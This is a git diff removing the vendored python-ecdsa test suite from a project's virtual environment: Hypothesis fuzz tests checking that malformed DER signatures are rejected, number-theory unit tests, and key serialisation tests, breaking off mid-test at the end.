verifying_key, old_sig = draw(st.sampled_from(keys_and_sigs)) - note("Configuration: {0}".format(name)) - - sig = bytearray(old_sig) - - # decide which bytes should be removed - to_remove = draw( - st.lists(st.integers(min_value=0, max_value=len(sig) - 1), unique=True) - ) - to_remove.sort() - for i in reversed(to_remove): - del sig[i] - note("Remove bytes: {0}".format(to_remove)) - - # decide which bytes of the original signature should be changed - xors = None - if sig: # pragma: no branch - xors = draw( - st.dictionaries( - st.integers(min_value=0, max_value=len(sig) - 1), - st.integers(min_value=1, max_value=255), - ) - ) - for i, val in xors.items(): - sig[i] ^= val - note("xors: {0}".format(xors)) - - # decide where new data should be inserted - insert_pos = draw(st.integers(min_value=0, max_value=len(sig))) - # NIST521p signature is about 140 bytes long, test slightly longer - insert_data = draw(st.binary(max_size=256)) - - sig = sig[:insert_pos] + insert_data + sig[insert_pos:] - note( - "Inserted at position {0} bytes: {1!r}".format(insert_pos, insert_data) - ) - - sig = bytes(sig) - # make sure that there was performed at least one mutation on the data - assume(to_remove or xors or insert_data) - # and that the mutations didn't cancel each-other out - assume(sig != old_sig) - - return verifying_key, sig - - -params = {} -# not supported in hypothesis 2.0.0 -if sys.version_info >= (2, 7): # pragma: no branch - from hypothesis import HealthCheck - - # deadline=5s because NIST521p are slow to verify - params["deadline"] = 5000 - params["suppress_health_check"] = [ - HealthCheck.data_too_large, - HealthCheck.filter_too_much, - HealthCheck.too_slow, - ] -if "--fast" in sys.argv: # pragma: no cover - params["max_examples"] = 20 - -slow_params = dict(params) -if "--fast" in sys.argv: # pragma: no cover - slow_params["max_examples"] = 1 -else: - slow_params["max_examples"] = 10 - - -@settings(**slow_params) -@given(st_fuzzed_sig(keys_and_sigs)) -def test_fuzzed_der_signatures(args): - verifying_key, sig = args - - with pytest.raises(BadSignatureError): - verifying_key.verify(sig, example_data, sigdecode=sigdecode_der) - - -@st.composite -def st_random_der_ecdsa_sig_value(draw): # pragma: no cover - """ - Hypothesis strategy for selecting random values and encoding them - to ECDSA-Sig-Value object:: - - ECDSA-Sig-Value ::= SEQUENCE { - r INTEGER, - s INTEGER - } - """ - name, verifying_key, _ = draw(st.sampled_from(keys_and_sigs)) - note("Configuration: {0}".format(name)) - order = int(verifying_key.curve.order) - - # the encode_integer doesn't support negative numbers, would be nice - # to generate them too, but we have coverage for remove_integer() - # verifying that it doesn't accept them, so meh. - # Test all numbers around the ones that can show up (around order) - # way smaller and slightly bigger - r = draw( - st.integers(min_value=0, max_value=order << 4) - | st.integers(min_value=order >> 2, max_value=order + 1) - ) - s = draw( - st.integers(min_value=0, max_value=order << 4) - | st.integers(min_value=order >> 2, max_value=order + 1) - ) - - sig = encode_sequence(encode_integer(r), encode_integer(s)) - - return verifying_key, sig - - -@settings(**slow_params) -@given(st_random_der_ecdsa_sig_value()) -def test_random_der_ecdsa_sig_value(params): - """ - Check if random values encoded in ECDSA-Sig-Value structure are rejected - as signature. - """ - verifying_key, sig = params - - with pytest.raises(BadSignatureError): - verifying_key.verify(sig, example_data, sigdecode=sigdecode_der) - - -def st_der_integer(*args, **kwargs): # pragma: no cover - """ - Hypothesis strategy that returns a random positive integer as DER - INTEGER. - Parameters are passed to hypothesis.strategy.integer. - """ - if "min_value" not in kwargs: # pragma: no branch - kwargs["min_value"] = 0 - return st.builds(encode_integer, st.integers(*args, **kwargs)) - - -@st.composite -def st_der_bit_string(draw, *args, **kwargs): # pragma: no cover - """ - Hypothesis strategy that returns a random DER BIT STRING. - Parameters are passed to hypothesis.strategy.binary. - """ - data = draw(st.binary(*args, **kwargs)) - if data: - unused = draw(st.integers(min_value=0, max_value=7)) - data = bytearray(data) - data[-1] &= -(2**unused) - data = bytes(data) - else: - unused = 0 - return encode_bitstring(data, unused) - - -def st_der_octet_string(*args, **kwargs): # pragma: no cover - """ - Hypothesis strategy that returns a random DER OCTET STRING object. - Parameters are passed to hypothesis.strategy.binary - """ - return st.builds(encode_octet_string, st.binary(*args, **kwargs)) - - -def st_der_null(): # pragma: no cover - """ - Hypothesis strategy that returns DER NULL object. - """ - return st.just(b"\x05\x00") - - -@st.composite -def st_der_oid(draw): # pragma: no cover - """ - Hypothesis strategy that returns DER OBJECT IDENTIFIER objects. - """ - first = draw(st.integers(min_value=0, max_value=2)) - if first < 2: - second = draw(st.integers(min_value=0, max_value=39)) - else: - second = draw(st.integers(min_value=0, max_value=2**512)) - rest = draw( - st.lists(st.integers(min_value=0, max_value=2**512), max_size=50) - ) - return encode_oid(first, second, *rest) - - -def st_der(): # pragma: no cover - """ - Hypothesis strategy that returns random DER structures. - - A valid DER structure is any primitive object, an octet encoding - of a valid DER structure, sequence of valid DER objects or a constructed - encoding of any of the above. - """ - return st.recursive( # pragma: no branch - st.just(b"") - | st_der_integer(max_value=2**4096) - | st_der_bit_string(max_size=1024**2) - | st_der_octet_string(max_size=1024**2) - | st_der_null() - | st_der_oid(), - lambda children: st.builds(encode_octet_string, st.one_of(children)) - | st.builds(lambda x: encode_bitstring(x, 0), st.one_of(children)) - | st.builds( - lambda x: encode_sequence(*x), st.lists(children, max_size=200) - ) - | st.builds( - encode_constructed, - st.integers(min_value=0, max_value=0x3F), - st.one_of(children), - ), - max_leaves=40, - ) - - -@settings(**slow_params) -@given(st.sampled_from(keys_and_sigs), st_der()) -def test_random_der_as_signature(params, der): - """Check if random DER structures are rejected as signature""" - name, verifying_key, _ = params - - with pytest.raises(BadSignatureError): - verifying_key.verify(der, example_data, sigdecode=sigdecode_der) - - -@settings(**slow_params) -@given(st.sampled_from(keys_and_sigs), st.binary(max_size=1024**2)) -@example( - keys_and_sigs[0], encode_sequence(encode_integer(0), encode_integer(0)) -) -@example( - keys_and_sigs[0], - encode_sequence(encode_integer(1), encode_integer(1)) + b"\x00", -) -@example(keys_and_sigs[0], encode_sequence(*[encode_integer(1)] * 3)) -def test_random_bytes_as_signature(params, der): - """Check if random bytes are rejected as signature""" - name, verifying_key, _ = params - - with pytest.raises(BadSignatureError): - verifying_key.verify(der, example_data, sigdecode=sigdecode_der) - - -keys_and_string_sigs = [ - ( - name, - verifying_key, - sigencode_string( - *sigdecode_der(sig, verifying_key.curve.order), - order=verifying_key.curve.order - ), - ) - for name, verifying_key, sig in keys_and_sigs - if not isinstance(verifying_key.curve.curve, CurveEdTw) -] -""" -Name of the curve+hash combination, VerifyingKey and signature as a -byte string. -""" - - -keys_and_string_sigs += [ - ( - name, - verifying_key, - sig, - ) - for name, verifying_key, sig in keys_and_sigs - if isinstance(verifying_key.curve.curve, CurveEdTw) -] - - -@settings(**slow_params) -@given(st_fuzzed_sig(keys_and_string_sigs)) -def test_fuzzed_string_signatures(params): - verifying_key, sig = params - - with pytest.raises(BadSignatureError): - verifying_key.verify(sig, example_data, sigdecode=sigdecode_string) diff --git a/venv/Lib/site-packages/ecdsa/test_numbertheory.py b/venv/Lib/site-packages/ecdsa/test_numbertheory.py deleted file mode 100644 index 966eca299b43ee48c707a549dc970b07ac6c9136..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/ecdsa/test_numbertheory.py +++ /dev/null @@ -1,483 +0,0 @@ -import operator -from functools import reduce -import sys - -try: - import unittest2 as unittest -except ImportError: - import unittest -import hypothesis.strategies as st -import pytest -from hypothesis import given, settings, example - -try: - from hypothesis import HealthCheck - - HC_PRESENT = True -except ImportError: # pragma: no cover - HC_PRESENT = False -from .numbertheory import ( - SquareRootError, - JacobiError, - factorization, - gcd, - lcm, - jacobi, - inverse_mod, - is_prime, - next_prime, - smallprimes, - square_root_mod_prime, -) - -try: - from gmpy2 import mpz -except ImportError: - try: - from gmpy import mpz - except ImportError: - - def mpz(x): - return x - - -BIGPRIMES = ( - 999671, - 999683, - 999721, - 999727, - 999749, - 999763, - 999769, - 999773, - 999809, - 999853, - 999863, - 999883, - 999907, - 999917, - 999931, - 999953, - 999959, - 999961, - 999979, - 999983, -) - - -@pytest.mark.parametrize( - "prime, next_p", [(p, q) for p, q in zip(BIGPRIMES[:-1], BIGPRIMES[1:])] -) -def test_next_prime(prime, next_p): - assert next_prime(prime) == next_p - - -@pytest.mark.parametrize("val", [-1, 0, 1]) -def test_next_prime_with_nums_less_2(val): - assert next_prime(val) == 2 - - -@pytest.mark.slow -@pytest.mark.parametrize("prime", smallprimes) -def test_square_root_mod_prime_for_small_primes(prime): - squares = set() - for num in range(0, 1 + prime // 2): - sq = num * num % prime - squares.add(sq) - root = square_root_mod_prime(sq, prime) - # tested for real with TestNumbertheory.test_square_root_mod_prime - assert root * root % prime == sq - - for nonsquare in range(0, prime): - if nonsquare in squares: - continue - with pytest.raises(SquareRootError): - square_root_mod_prime(nonsquare, prime) - - -def test_square_root_mod_prime_for_2(): - a = square_root_mod_prime(1, 2) - assert a == 1 - - -def test_square_root_mod_prime_for_small_prime(): - root = square_root_mod_prime(98**2 % 101, 101) - assert root * root % 101 == 9 - - -def test_square_root_mod_prime_for_p_congruent_5(): - p = 13 - assert p % 8 == 5 - - root = square_root_mod_prime(3, p) - assert root * root % p == 3 - - -def test_square_root_mod_prime_for_p_congruent_5_large_d(): - p = 29 - assert p % 8 == 5 - - root = square_root_mod_prime(4, p) - assert root * root % p == 4 - - -class TestSquareRootModPrime(unittest.TestCase): - def test_power_of_2_p(self): - with self.assertRaises(JacobiError): - square_root_mod_prime(12, 32) - - def test_no_square(self): - with self.assertRaises(SquareRootError) as e: - square_root_mod_prime(12, 31) - - self.assertIn("no square root", str(e.exception)) - - def test_non_prime(self): - with self.assertRaises(SquareRootError) as e: - square_root_mod_prime(12, 33) - - self.assertIn("p is not prime", str(e.exception)) - - def test_non_prime_with_negative(self): - with self.assertRaises(SquareRootError) as e: - square_root_mod_prime(697 - 1, 697) - - self.assertIn("p is not prime", str(e.exception)) - - -@st.composite -def st_two_nums_rel_prime(draw): - # 521-bit is the biggest curve we operate on, use 1024 for a bit - # of breathing space - mod = draw(st.integers(min_value=2, max_value=2**1024)) - num = draw( - st.integers(min_value=1, max_value=mod - 1).filter( - lambda x: gcd(x, mod) == 1 - ) - ) - return num, mod - - -@st.composite -def st_primes(draw, *args, **kwargs): - if "min_value" not in kwargs: # pragma: no branch - kwargs["min_value"] = 1 - prime = draw( - st.sampled_from(smallprimes) - | st.integers(*args, **kwargs).filter(is_prime) - ) - return prime - - -@st.composite -def st_num_square_prime(draw): - prime = draw(st_primes(max_value=2**1024)) - num = draw(st.integers(min_value=0, max_value=1 + prime // 2)) - sq = num * num % prime - return sq, prime - - -@st.composite -def st_comp_with_com_fac(draw): - """ - Strategy that returns lists of numbers, all having a common factor. - """ - primes = draw( - st.lists(st_primes(max_value=2**512), min_size=1, max_size=10) - ) - # select random prime(s) that will make the common factor of composites - com_fac_primes = draw( - st.lists(st.sampled_from(primes), min_size=1, max_size=20) - ) - com_fac = reduce(operator.mul, com_fac_primes, 1) - - # select at most 20 lists (returned numbers), - # each having at most 30 primes (factors) including none (then the number - # will be 1) - comp_primes = draw( # pragma: no branch - st.integers(min_value=1, max_value=20).flatmap( - lambda n: st.lists( - st.lists(st.sampled_from(primes), max_size=30), - min_size=1, - max_size=n, - ) - ) - ) - - return [reduce(operator.mul, nums, 1) * com_fac for nums in comp_primes] - - -@st.composite -def st_comp_no_com_fac(draw): - """ - Strategy that returns lists of numbers that don't have a common factor. - """ - primes = draw( - st.lists( - st_primes(max_value=2**512), min_size=2, max_size=10, unique=True - ) - ) - # first select the primes that will create the uncommon factor - # between returned numbers - uncom_fac_primes = draw( - st.lists( - st.sampled_from(primes), - min_size=1, - max_size=len(primes) - 1, - unique=True, - ) - ) - uncom_fac = reduce(operator.mul, uncom_fac_primes, 1) - - # then build composites from leftover primes - leftover_primes = [i for i in primes if i not in uncom_fac_primes] - - assert leftover_primes - assert uncom_fac_primes - - # select at most 20 lists, each having at most 30 primes - # selected from the leftover_primes list - number_primes = draw( # pragma: no branch - st.integers(min_value=1, max_value=20).flatmap( - lambda n: st.lists( - st.lists(st.sampled_from(leftover_primes), max_size=30), - min_size=1, - max_size=n, - ) - ) - ) - - numbers = [reduce(operator.mul, nums, 1) for nums in number_primes] - - insert_at = draw(st.integers(min_value=0, max_value=len(numbers))) - numbers.insert(insert_at, uncom_fac) - return numbers - - -HYP_SETTINGS = {} -if HC_PRESENT: # pragma: no branch - HYP_SETTINGS["suppress_health_check"] = [ - HealthCheck.filter_too_much, - HealthCheck.too_slow, - ] - # the factorization() sometimes takes a long time to finish - HYP_SETTINGS["deadline"] = 5000 - -if "--fast" in sys.argv: # pragma: no cover - HYP_SETTINGS["max_examples"] = 20 - - -HYP_SLOW_SETTINGS = dict(HYP_SETTINGS) -if "--fast" in sys.argv: # pragma: no cover - HYP_SLOW_SETTINGS["max_examples"] = 1 -else: - HYP_SLOW_SETTINGS["max_examples"] = 20 - - -class TestIsPrime(unittest.TestCase): - def test_very_small_prime(self): - assert is_prime(23) - - def test_very_small_composite(self): - assert not is_prime(22) - - def test_small_prime(self): - assert is_prime(123456791) - - def test_special_composite(self): - assert not is_prime(10261) - - def test_medium_prime_1(self): - # nextPrime[2^256] - assert is_prime(2**256 + 0x129) - - def test_medium_prime_2(self): - # nextPrime(2^256+0x129) - assert is_prime(2**256 + 0x12D) - - def test_medium_trivial_composite(self): - assert not is_prime(2**256 + 0x130) - - def test_medium_non_trivial_composite(self): - assert not is_prime(2**256 + 0x12F) - - def test_large_prime(self): - # nextPrime[2^2048] - assert is_prime(mpz(2) ** 2048 + 0x3D5) - - def test_pseudoprime_base_19(self): - assert not is_prime(1543267864443420616877677640751301) - - def test_pseudoprime_base_300(self): - # F. Arnault "Constructing Carmichael Numbers Which Are Strong - # Pseudoprimes to Several Bases". Journal of Symbolic - # Computation. 20 (2): 151-161. doi:10.1006/jsco.1995.1042. - # Section 4.4 Large Example (a pseudoprime to all bases up to - # 300) - p = int( - "29 674 495 668 685 510 550 154 174 642 905 332 730 " - "771 991 799 853 043 350 995 075 531 276 838 753 171 " - "770 199 594 238 596 428 121 188 033 664 754 218 345 " - "562 493 168 782 883".replace(" ", "") - ) - - assert is_prime(p) - for _ in range(10): - if not is_prime(p * (313 * (p - 1) + 1) * (353 * (p - 1) + 1)): - break - else: - assert False, "composite not detected" - - -class TestNumbertheory(unittest.TestCase): - def test_gcd(self): - assert gcd(3 * 5 * 7, 3 * 5 * 11, 3 * 5 * 13) == 3 * 5 - assert gcd([3 * 5 * 7, 3 * 5 * 11, 3 * 5 * 13]) == 3 * 5 - assert gcd(3) == 3 - - @unittest.skipUnless( - HC_PRESENT, - "Hypothesis 2.0.0 can't be made tolerant of hard to " - "meet requirements (like `is_prime()`), the test " - "case times-out on it", - ) - @settings(**HYP_SLOW_SETTINGS) - @example([877 * 1151, 877 * 1009]) - @given(st_comp_with_com_fac()) - def test_gcd_with_com_factor(self, numbers): - n = gcd(numbers) - assert 1 in numbers or n != 1 - for i in numbers: - assert i % n == 0 - - @unittest.skipUnless( - HC_PRESENT, - "Hypothesis 2.0.0 can't be made tolerant of hard to " - "meet requirements (like `is_prime()`), the test " - "case times-out on it", - ) - @settings(**HYP_SLOW_SETTINGS) - @example([1151, 1069, 1009]) - @given(st_comp_no_com_fac()) - def test_gcd_with_uncom_factor(self, numbers): - n = gcd(numbers) - assert n == 1 - - @settings(**HYP_SLOW_SETTINGS) - @given( - st.lists( - st.integers(min_value=1, max_value=2**8192), - min_size=1, - max_size=20, - ) - ) - def test_gcd_with_random_numbers(self, numbers): - n = gcd(numbers) - for i in numbers: - # check that at least it's a divider - assert i % n == 0 - - def test_lcm(self): - assert lcm(3, 5 * 3, 7 * 3) == 3 * 5 * 7 - assert lcm([3, 5 * 3, 7 * 3]) == 3 * 5 * 7 - assert lcm(3) == 3 - - @settings(**HYP_SLOW_SETTINGS) - @given( - st.lists( - st.integers(min_value=1, max_value=2**8192), - min_size=1, - max_size=20, - ) - ) - def test_lcm_with_random_numbers(self, numbers): - n = lcm(numbers) - for i in numbers: - assert n % i == 0 - - @unittest.skipUnless( - HC_PRESENT, - "Hypothesis 2.0.0 can't be made tolerant of hard to " - "meet requirements (like `is_prime()`), the test " - "case times-out on it", - ) - @settings(**HYP_SLOW_SETTINGS) - @given(st_num_square_prime()) - def test_square_root_mod_prime(self, vals): - square, prime = vals - - calc = square_root_mod_prime(square, prime) - assert calc * calc % prime == square - - @pytest.mark.slow - @settings(**HYP_SLOW_SETTINGS) - @given(st.integers(min_value=1, max_value=10**12)) - @example(265399 * 1526929) - @example(373297**2 * 553991) - def test_factorization(self, num): - factors = factorization(num) - mult = 1 - for i in factors: - mult *= i[0] ** i[1] - assert mult == num - - def test_factorisation_smallprimes(self): - exp = 101 * 103 - assert 101 in smallprimes - assert 103 in smallprimes - factors = factorization(exp) - mult = 1 - for i in factors: - mult *= i[0] ** i[1] - assert mult == exp - - def test_factorisation_not_smallprimes(self): - exp = 1231 * 1237 - assert 1231 not in smallprimes - assert 1237 not in smallprimes - factors = factorization(exp) - mult = 1 - for i in factors: - mult *= i[0] ** i[1] - assert mult == exp - - def test_jacobi_with_zero(self): - assert jacobi(0, 3) == 0 - - def test_jacobi_with_one(self): - assert jacobi(1, 3) == 1 - - @settings(**HYP_SLOW_SETTINGS) - @given(st.integers(min_value=3, max_value=1000).filter(lambda x: x % 2)) - def test_jacobi(self, mod): - mod = mpz(mod) - if is_prime(mod): - squares = set() - for root in range(1, mod): - root = mpz(root) - assert jacobi(root * root, mod) == 1 - squares.add(root * root % mod) - for i in range(1, mod): - if i not in squares: - i = mpz(i) - assert jacobi(i, mod) == -1 - else: - factors = factorization(mod) - for a in range(1, mod): - c = 1 - for i in factors: - c *= jacobi(a, i[0]) ** i[1] - assert c == jacobi(a, mod) - - @settings(**HYP_SLOW_SETTINGS) - @given(st_two_nums_rel_prime()) - def test_inverse_mod(self, nums): - num, mod = nums - - inv = inverse_mod(num, mod) - - assert 0 < inv < mod - assert num * inv % mod == 1 - - def test_inverse_mod_with_zero(self): - assert 0 == inverse_mod(0, 11) diff --git a/venv/Lib/site-packages/ecdsa/test_pyecdsa.py b/venv/Lib/site-packages/ecdsa/test_pyecdsa.py deleted file mode 100644 index 799e9b7461622ed5223a2888692aed3713ff444d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/ecdsa/test_pyecdsa.py +++ /dev/null @@ -1,2564 +0,0 @@ -from __future__ import with_statement, division, print_function - -try: - import unittest2 as unittest -except ImportError: - import unittest -import os -import shutil -import subprocess -import pytest -import sys -from binascii import hexlify, unhexlify -import hashlib -from functools import partial - -from hypothesis import given, settings -import hypothesis.strategies as st - -from six import binary_type -from .keys import SigningKey, VerifyingKey -from .keys import BadSignatureError, MalformedPointError, BadDigestError -from . import util -from .util import ( - sigencode_der, - sigencode_strings, - sigencode_strings_canonize, - sigencode_string_canonize, - sigencode_der_canonize, -) -from .util import sigdecode_der, sigdecode_strings, sigdecode_string -from .util import number_to_string, encoded_oid_ecPublicKey, MalformedSignature -from .curves import Curve, UnknownCurveError -from .curves import ( - SECP112r1, - SECP112r2, - SECP128r1, - SECP160r1, - NIST192p, - NIST224p, - NIST256p, - NIST384p, - NIST521p, - SECP256k1, - BRAINPOOLP160r1, - BRAINPOOLP192r1, - BRAINPOOLP224r1, - BRAINPOOLP256r1, - BRAINPOOLP320r1, - BRAINPOOLP384r1, - BRAINPOOLP512r1, - BRAINPOOLP160t1, - BRAINPOOLP192t1, - BRAINPOOLP224t1, - BRAINPOOLP256t1, - BRAINPOOLP320t1, - BRAINPOOLP384t1, - BRAINPOOLP512t1, - Ed25519, - Ed448, - curves, -) -from .ecdsa import ( - curve_brainpoolp224r1, - curve_brainpoolp256r1, - curve_brainpoolp384r1, - curve_brainpoolp512r1, -) -from .ellipticcurve import Point -from . import der -from . import rfc6979 -from . import ecdsa - - -class SubprocessError(Exception): - pass - - -HYP_SETTINGS = {} - - -if "--fast" in sys.argv: # pragma: no cover - HYP_SETTINGS["max_examples"] = 2 - - -def run_openssl(cmd): - OPENSSL = "openssl" - p = subprocess.Popen( - [OPENSSL] + cmd.split(), - stdout=subprocess.PIPE, - stderr=subprocess.STDOUT, - ) - stdout, ignored = p.communicate() - if p.returncode != 0: - raise SubprocessError( - "cmd '%s %s' failed: rc=%s, stdout/err was %s" - % (OPENSSL, cmd, p.returncode, stdout) - ) - return stdout.decode() - - -class ECDSA(unittest.TestCase): - def test_basic(self): - priv = SigningKey.generate() - pub = priv.get_verifying_key() - - data = b"blahblah" - sig = priv.sign(data) - - self.assertTrue(pub.verify(sig, data)) - self.assertRaises(BadSignatureError, pub.verify, sig, data + b"bad") - - pub2 = VerifyingKey.from_string(pub.to_string()) - self.assertTrue(pub2.verify(sig, data)) - - def test_deterministic(self): - data = b"blahblah" - secexp = int("9d0219792467d7d37b4d43298a7d0c05", 16) - - priv = SigningKey.from_secret_exponent( - secexp, SECP256k1, hashlib.sha256 - ) - pub = priv.get_verifying_key() - - k = rfc6979.generate_k( - SECP256k1.generator.order(), - secexp, - hashlib.sha256, - hashlib.sha256(data).digest(), - ) - - sig1 = priv.sign(data, k=k) - self.assertTrue(pub.verify(sig1, data)) - - sig2 = priv.sign(data, k=k) - self.assertTrue(pub.verify(sig2, data)) - - sig3 = priv.sign_deterministic(data, hashlib.sha256) - self.assertTrue(pub.verify(sig3, data)) - - self.assertEqual(sig1, sig2) - self.assertEqual(sig1, sig3) - - def test_bad_usage(self): - # sk=SigningKey() is wrong - self.assertRaises(TypeError, SigningKey) - self.assertRaises(TypeError, VerifyingKey) - - def test_lengths_default(self): - default = NIST192p - priv = SigningKey.generate() - pub = priv.get_verifying_key() - self.assertEqual(len(pub.to_string()), default.verifying_key_length) - sig = priv.sign(b"data") - self.assertEqual(len(sig), default.signature_length) - - def test_serialize(self): - seed = b"secret" - curve = NIST192p - secexp1 = util.randrange_from_seed__trytryagain(seed, curve.order) - secexp2 = util.randrange_from_seed__trytryagain(seed, curve.order) - self.assertEqual(secexp1, secexp2) - priv1 = SigningKey.from_secret_exponent(secexp1, curve) - priv2 = SigningKey.from_secret_exponent(secexp2, curve) - self.assertEqual( - hexlify(priv1.to_string()), hexlify(priv2.to_string()) - ) - self.assertEqual(priv1.to_pem(), priv2.to_pem()) - pub1 = priv1.get_verifying_key() - pub2 = priv2.get_verifying_key() - data = b"data" - sig1 = priv1.sign(data) - sig2 = priv2.sign(data) - self.assertTrue(pub1.verify(sig1, data)) - self.assertTrue(pub2.verify(sig1, data)) - self.assertTrue(pub1.verify(sig2, data)) - self.assertTrue(pub2.verify(sig2, data)) - self.assertEqual(hexlify(pub1.to_string()), hexlify(pub2.to_string())) - - def test_nonrandom(self): - s = b"all the entropy in the entire world, compressed into one line" - - def not_much_entropy(numbytes): - return s[:numbytes] - - # we control the entropy source, these two keys should be identical: - priv1 = SigningKey.generate(entropy=not_much_entropy) - priv2 = SigningKey.generate(entropy=not_much_entropy) - self.assertEqual( - hexlify(priv1.get_verifying_key().to_string()), - hexlify(priv2.get_verifying_key().to_string()), - ) - # likewise, signatures should be identical. Obviously you'd never - # want to do this with keys you care about, because the secrecy of - # the private key depends upon using different random numbers for - # each signature - sig1 = priv1.sign(b"data", entropy=not_much_entropy) - sig2 = priv2.sign(b"data", entropy=not_much_entropy) - self.assertEqual(hexlify(sig1), hexlify(sig2)) - - def assertTruePrivkeysEqual(self, priv1, priv2): - self.assertEqual( - priv1.privkey.secret_multiplier, priv2.privkey.secret_multiplier - ) - self.assertEqual( - priv1.privkey.public_key.generator, - priv2.privkey.public_key.generator, - ) - - def test_privkey_creation(self): - s = b"all the entropy in the entire world, compressed into one line" - - def not_much_entropy(numbytes): - return s[:numbytes] - - priv1 = SigningKey.generate() - self.assertEqual(priv1.baselen, NIST192p.baselen) - - priv1 = SigningKey.generate(curve=NIST224p) - self.assertEqual(priv1.baselen, NIST224p.baselen) - - priv1 = SigningKey.generate(entropy=not_much_entropy) - self.assertEqual(priv1.baselen, NIST192p.baselen) - priv2 = SigningKey.generate(entropy=not_much_entropy) - self.assertEqual(priv2.baselen, NIST192p.baselen) - self.assertTruePrivkeysEqual(priv1, priv2) - - priv1 = SigningKey.from_secret_exponent(secexp=3) - self.assertEqual(priv1.baselen, NIST192p.baselen) - priv2 = SigningKey.from_secret_exponent(secexp=3) - self.assertTruePrivkeysEqual(priv1, priv2) - - priv1 = SigningKey.from_secret_exponent(secexp=4, curve=NIST224p) - self.assertEqual(priv1.baselen, NIST224p.baselen) - - def test_privkey_strings(self): - priv1 = SigningKey.generate() - s1 = priv1.to_string() - self.assertEqual(type(s1), binary_type) - self.assertEqual(len(s1), NIST192p.baselen) - priv2 = SigningKey.from_string(s1) - self.assertTruePrivkeysEqual(priv1, priv2) - - s1 = priv1.to_pem() - self.assertEqual(type(s1), binary_type) - self.assertTrue(s1.startswith(b"-----BEGIN EC PRIVATE KEY-----")) - self.assertTrue(s1.strip().endswith(b"-----END EC PRIVATE KEY-----")) - priv2 = SigningKey.from_pem(s1) - self.assertTruePrivkeysEqual(priv1, priv2) - - s1 = priv1.to_der() - self.assertEqual(type(s1), binary_type) - priv2 = SigningKey.from_der(s1) - self.assertTruePrivkeysEqual(priv1, priv2) - - priv1 = SigningKey.generate(curve=NIST256p) - s1 = priv1.to_pem() - self.assertEqual(type(s1), binary_type) - self.assertTrue(s1.startswith(b"-----BEGIN EC PRIVATE KEY-----")) - self.assertTrue(s1.strip().endswith(b"-----END EC PRIVATE KEY-----")) - priv2 = SigningKey.from_pem(s1) - self.assertTruePrivkeysEqual(priv1, priv2) - - s1 = priv1.to_der() - self.assertEqual(type(s1), binary_type) - priv2 = SigningKey.from_der(s1) - self.assertTruePrivkeysEqual(priv1, priv2) - - def test_privkey_strings_brainpool(self): - priv1 = SigningKey.generate(curve=BRAINPOOLP512r1) - s1 = priv1.to_pem() - self.assertEqual(type(s1), binary_type) - self.assertTrue(s1.startswith(b"-----BEGIN EC PRIVATE KEY-----")) - self.assertTrue(s1.strip().endswith(b"-----END EC PRIVATE KEY-----")) - priv2 = SigningKey.from_pem(s1) - self.assertTruePrivkeysEqual(priv1, priv2) - - s1 = priv1.to_der() - self.assertEqual(type(s1), binary_type) - priv2 = SigningKey.from_der(s1) - self.assertTruePrivkeysEqual(priv1, priv2) - - def assertTruePubkeysEqual(self, pub1, pub2): - self.assertEqual(pub1.pubkey.point, pub2.pubkey.point) - self.assertEqual(pub1.pubkey.generator, pub2.pubkey.generator) - self.assertEqual(pub1.curve, pub2.curve) - - def test_pubkey_strings(self): - priv1 = SigningKey.generate() - pub1 = priv1.get_verifying_key() - s1 = pub1.to_string() - self.assertEqual(type(s1), binary_type) - self.assertEqual(len(s1), NIST192p.verifying_key_length) - pub2 = VerifyingKey.from_string(s1) - self.assertTruePubkeysEqual(pub1, pub2) - - priv1 = SigningKey.generate(curve=NIST256p) - pub1 = priv1.get_verifying_key() - s1 = pub1.to_string() - self.assertEqual(type(s1), binary_type) - self.assertEqual(len(s1), NIST256p.verifying_key_length) - pub2 = VerifyingKey.from_string(s1, curve=NIST256p) - self.assertTruePubkeysEqual(pub1, pub2) - - pub1_der = pub1.to_der() - self.assertEqual(type(pub1_der), binary_type) - pub2 = VerifyingKey.from_der(pub1_der) - self.assertTruePubkeysEqual(pub1, pub2) - - self.assertRaises( - der.UnexpectedDER, VerifyingKey.from_der, pub1_der + b"junk" - ) - badpub = VerifyingKey.from_der(pub1_der) - - class FakeGenerator: - def order(self): - return 123456789 - - class FakeCurveFp: - def p(self): - return int( - "6525534529039240705020950546962731340" - "4541085228058844382513856749047873406763" - ) - - badcurve = Curve( - "unknown", FakeCurveFp(), FakeGenerator(), (1, 2, 3, 4, 5, 6), None - ) - badpub.curve = badcurve - badder = badpub.to_der() - self.assertRaises(UnknownCurveError, VerifyingKey.from_der, badder) - - pem = pub1.to_pem() - self.assertEqual(type(pem), binary_type) - self.assertTrue(pem.startswith(b"-----BEGIN PUBLIC KEY-----"), pem) - self.assertTrue(pem.strip().endswith(b"-----END PUBLIC KEY-----"), pem) - pub2 = VerifyingKey.from_pem(pem) - self.assertTruePubkeysEqual(pub1, pub2) - - def test_pubkey_strings_brainpool(self): - priv1 = SigningKey.generate(curve=BRAINPOOLP512r1) - pub1 = priv1.get_verifying_key() - s1 = pub1.to_string() - self.assertEqual(type(s1), binary_type) - self.assertEqual(len(s1), BRAINPOOLP512r1.verifying_key_length) - pub2 = VerifyingKey.from_string(s1, curve=BRAINPOOLP512r1) - self.assertTruePubkeysEqual(pub1, pub2) - - pub1_der = pub1.to_der() - self.assertEqual(type(pub1_der), binary_type) - pub2 = VerifyingKey.from_der(pub1_der) - self.assertTruePubkeysEqual(pub1, pub2) - - def test_vk_to_der_with_invalid_point_encoding(self): - sk = SigningKey.generate() - vk = sk.verifying_key - - with self.assertRaises(ValueError): - vk.to_der("raw") - - def test_sk_to_der_with_invalid_point_encoding(self): - sk = SigningKey.generate() - - with self.assertRaises(ValueError): - sk.to_der("raw") - - def test_vk_from_der_garbage_after_curve_oid(self): - type_oid_der = encoded_oid_ecPublicKey - curve_oid_der = ( - der.encode_oid(*(1, 2, 840, 10045, 3, 1, 1)) + b"garbage" - ) - enc_type_der = der.encode_sequence(type_oid_der, curve_oid_der) - point_der = der.encode_bitstring(b"\x00\xff", None) - to_decode = der.encode_sequence(enc_type_der, point_der) - - with self.assertRaises(der.UnexpectedDER): - VerifyingKey.from_der(to_decode) - - def test_vk_from_der_invalid_key_type(self): - type_oid_der = der.encode_oid(*(1, 2, 3)) - curve_oid_der = der.encode_oid(*(1, 2, 840, 10045, 3, 1, 1)) - enc_type_der = der.encode_sequence(type_oid_der, curve_oid_der) - point_der = der.encode_bitstring(b"\x00\xff", None) - to_decode = der.encode_sequence(enc_type_der, point_der) - - with self.assertRaises(der.UnexpectedDER): - 